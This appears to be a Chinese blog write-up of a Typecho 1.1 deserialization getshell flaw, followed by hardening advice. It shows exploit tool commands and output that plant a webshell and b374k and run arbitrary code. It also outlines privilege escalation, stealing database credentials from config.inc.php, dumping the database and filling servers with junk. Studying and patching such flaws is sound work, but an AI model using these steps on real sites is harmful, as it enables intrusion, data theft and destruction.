土豆不好吃

谈谈近期Typecho 的漏洞exploit及预防措施

文章目录[显示]

几天前(28日好像是)Typecho被爆出getshell漏洞,想想还是很可怕的。

噢对了,我忘记说了,本文仅供学习交流,请不要在未授权的环境中使用此工具。我图中的测试站,是我现搭建的(对就是不想告诉大家我究竟有多少个域名和服务器…)……你就看那个主机名,miss-ed,思念还是错过,多么符合我的文风啊!

漏洞复现

服务器环境

nginx/1.9.5

PHP 7.0.22

mysql Ver 14.14 Distrib 5.5.48

Typecho 1.1 (17.4.24)(好像是1013还是10月28日之前的都有这个问题)

有没有人想问为什么是Nginx 1.9.5这么老的版本吗……唔

真是没有比我还蠢的人了

利用条件:PHP对webroot拥有写入权限,www的600就够了。如果Typecho对目录没有写权限,那么……没得玩了。

利用步骤

GitHub开源地址
git clone https://github.com/BennyThink/Typecho_deserialization_exploit
cd Typecho_deserialization_exploit
python exp.ty

之后根据提示操作,示例输出:

root@qcloud:~/Typecho_deserialization_exploit# python exp.py
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>1
Input your target, i.e:http://localhost/ty
>https://example.com
Your target url is https://example.com
shell: https://example.com/p0.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>2
1 . https://example.com/p0.php Enter your target number:
>1
Enter your PHP code:
>echo 'pwned';
pwned
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>3
1 . https://example.com/p0.php Enter your target number:
>1
Enter your system commands:
>ls
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>4
1 . https://example.com/p0.php Enter your target number:
>1
visit https://example.com/b374k.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>

成功写入webshell,第三步执行系统命令没有回显是因为我禁用了system()函数

由于运行PHP的用户是一个低权限的non-login shell用户www,所以嘛……没有SMB那么爽的感觉了。当然Windows就没有这个说法了,说不定人品好,还有人是拿管理员运行的PHP呢……这个时候就可以有mimikatz了。

更进一步的玩法

只是一点点猜想,仅供参考

内核提权漏洞

通过phpinfo拿到系统信息,去exploit找对应的内核提权漏洞,想办法吧www提权成root

脱库与跑路

通过读取Typecho的配置文件config.inc.php拿到数据库账号密码,塞满垃圾文件,脱库与跑路什么的;顺着搜搜有没有MySQL的什么安全漏洞可以利用、绕过。

报告给博主

对,这才是正经的嘛……当然了,那些连个联系方式也不留的、八百年不发一篇博文的、whois查不到邮箱的、评论也不管的死灰一样的博客,那活该了。我也很无奈啊。

预防措施和一些建议

升级Typecho到最新的版本或者删除文件

升级Typecho到最新版本,或者删除install.phpinstall目录。暂时不能更新的,关站保平安吧。

使用www、mysql等non-login shell用户运行Apache/Nginx、PHP、MySQL

千万不要拿root跑啊,这要是拿root跑了,那就和SMB漏洞是一样一样滴爽。

记得更新系统,不要使用已无支持的操作系统

EOL(End of Life)的就不要用了,没有安全更新,万一被人找到提权,那不就完蛋了吗。

举例说明,Windows XP,Windows 2003,Windows Vista,CentOS 5,Ubuntu 12.04等等……

对于发行版来说,可以用cron来计划更新,比如说我是这么干的:

0 3 */3 * * apt update && apt upgrade -y

每隔三天的凌晨三点都会更新一波

尽可能的使用Linux当服务器

嗯……如果你用Windows的话,在这种情况下webshell就可以大显神通了……

配置php.ini

配置open_basedir,不让PHP程序访问本身目录以外的目录,比如说我是这么配置的:

open_basedir=/home/wwwroot/dmesg.app:/tmp/:/proc/

并且如果不需要的话,那么就禁用一些比较危险的函数,比如说system()exec()

别没事干就777

除非你懂得777是什么意思,知道你这次的777有何影响。

别说777了,任何更改文件目录(包括web目录)权限的操作都要三思而后行,尤其是某些特别敏感的文件,比如说如果某人的/etc/shadow的权限是644(原本应该是640),那么任何人都可以读取了……

开启App Armor、SELinux等

不好意思,这个我不太会玩……不过……很多人拿到一台CentOS都是……第一步……关闭SELinux的吧……

更多参考资料

ph0rse
joyqi
blogsir
b374k

总结

此次漏洞的影响还是比较大的,至少吧……攻击者能够拿到webshell,再怎么也能拿到整个数据库的权限了。

哦对,trick or treat?

賢狼ホロ:?羡慕高产(


文章版权归原作者所有丨本站默认采用CC-BY-NC-SA 4.0协议进行授权|
转载必须包含本声明,并以超链接形式注明原作者和本文原始地址:
https://dmesg.app/typecho-exploit.html
退出移动版